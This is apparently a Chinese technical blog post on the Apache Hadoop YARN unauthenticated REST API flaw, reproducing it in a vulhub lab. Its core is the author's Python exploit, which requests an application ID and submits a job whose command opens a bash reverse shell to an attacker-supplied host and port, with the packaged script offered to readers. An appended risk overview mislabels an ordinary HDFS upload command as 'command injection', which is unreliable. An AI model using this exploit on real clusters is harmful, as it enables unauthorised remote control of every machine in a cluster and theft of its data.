hadoop漏洞_Hadoop 未授权访问漏洞(exp核心代码实现)

本文详细介绍了Apache Hadoop YARN的一个安全漏洞,该漏洞允许攻击者未经认证通过REST API在集群中执行任意命令。首先,环境被搭建,然后解释了漏洞的成因,接着演示了如何复现此漏洞,包括获取ID值和使用EXP反弹shell。作者提供了自编的EXP核心代码,并强调脚本仅用于学习研究,禁止非法使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、环境搭建:

进入镜像目录:

cd vulhub/hadoop/unauthorized-yarn

启动环境:

docker-compose up -d

访问8088端口

3924222fd1b7d70eca1ac734f6de7905.png

二、漏洞描述:

Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)

漏洞原因:

负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器

三、漏洞复现:

访问ws/v1/cluster/apps/new-application可以获取id的值:

POST /ws/v1/cluster/apps/new-application HTTP/1.1Host: 192.168.136.131:8088User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

3c9d415e99e222a32e7d958f4fb2da9f.png

直接使用EXP进行反弹shell:

d1fdc0e01226b49d2d5de200307293b0.png

python3 Hadoop_EXP.py http://192.168.136.131:8088 -l 192.168.136.129 -p 7777

成功收到反弹shell:

8d507e90669da29ccd2d4ab5adf5cbf5.png

脚本的核心代码(自写):

具体实现思路看代码注释

class Hadoop:    def __init__(self):        self.headers = {            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',        }    def rshell(self):        # 获取application-id的值        r = requests.post(result.url + '/ws/v1/cluster/apps/new-application', headers=self.headers)        id = json.loads(r.text)['application-id']        # 执行命令,调用 Submit Application API 提交        data = {            'application-id': id,            'application-name': 'getshell',            'am-container-spec': {                'commands': {                    'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (result.lhost, result.lport)                },            },            'application-type': 'YARN',        }        rr = requests.post(result.url + '/ws/v1/cluster/apps', headers=self.headers, json=data)        print("[+] 执行完成!")    def run(self):        print(f"[*] 请先在你的vps:{result.lhost} 监听:{result.lport} 端口,等待shell回连!")        self.rshell()

脚本已经打包好了,需要的后台留言:Hadoop exp,链接有效期为7天,请注意保存,请仅用于学习研究!

各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935

备注:公众号+师傅们的id吧

80a737148e6695ef9ab45c369e68e312.png

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

### Hadoop未授权访问漏洞的风险与影响 Hadoop作为一个分布式计算平台,广泛应用于大数据处理环境中。然而,如果存在未授权访问漏洞,则可能带来严重的安全风险。 #### 数据泄露风险 当Hadoop集群配置不当或缺乏适当的身份验证机制时,攻击者可以绕过正常的安全控制措施获得对敏感数据的读取权限。这可能导致大量个人隐私信息、商业机密以及知识产权遭到非法获取并外泄[^1]。 #### 系统完整性受损 除了能够查看存储于其中的数据之外,拥有未授权访问权的人还可以修改甚至删除这些文件。这种行为不仅会破坏原有业务逻辑所依赖的信息准确性,还可能会引发连锁反应,造成整个应用程序崩溃或者产生错误的结果输出。 #### 资源滥用隐患 未经授权的操作员也可能利用该缺陷执行恶意脚本,在节点上安装后门程序或其他形式持久化工具;更甚者发动DDoS攻击来消耗服务器资源,从而干扰合法用户的正常使用体验,并给企业带来经济损失和社会声誉损害。 ```python # 示例:模拟一个简单的HDFS命令注入场景(仅用于说明) hdfs dfs -put /local/path/file.txt /user/hadoop/destination/ ``` 此代码片段展示了如何通过命令行接口上传本地文件到HDFS中指定位置。但如果系统允许任意用户无需认证即可操作上述指令,则意味着任何人均可向集群内植入潜在危险的内容。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值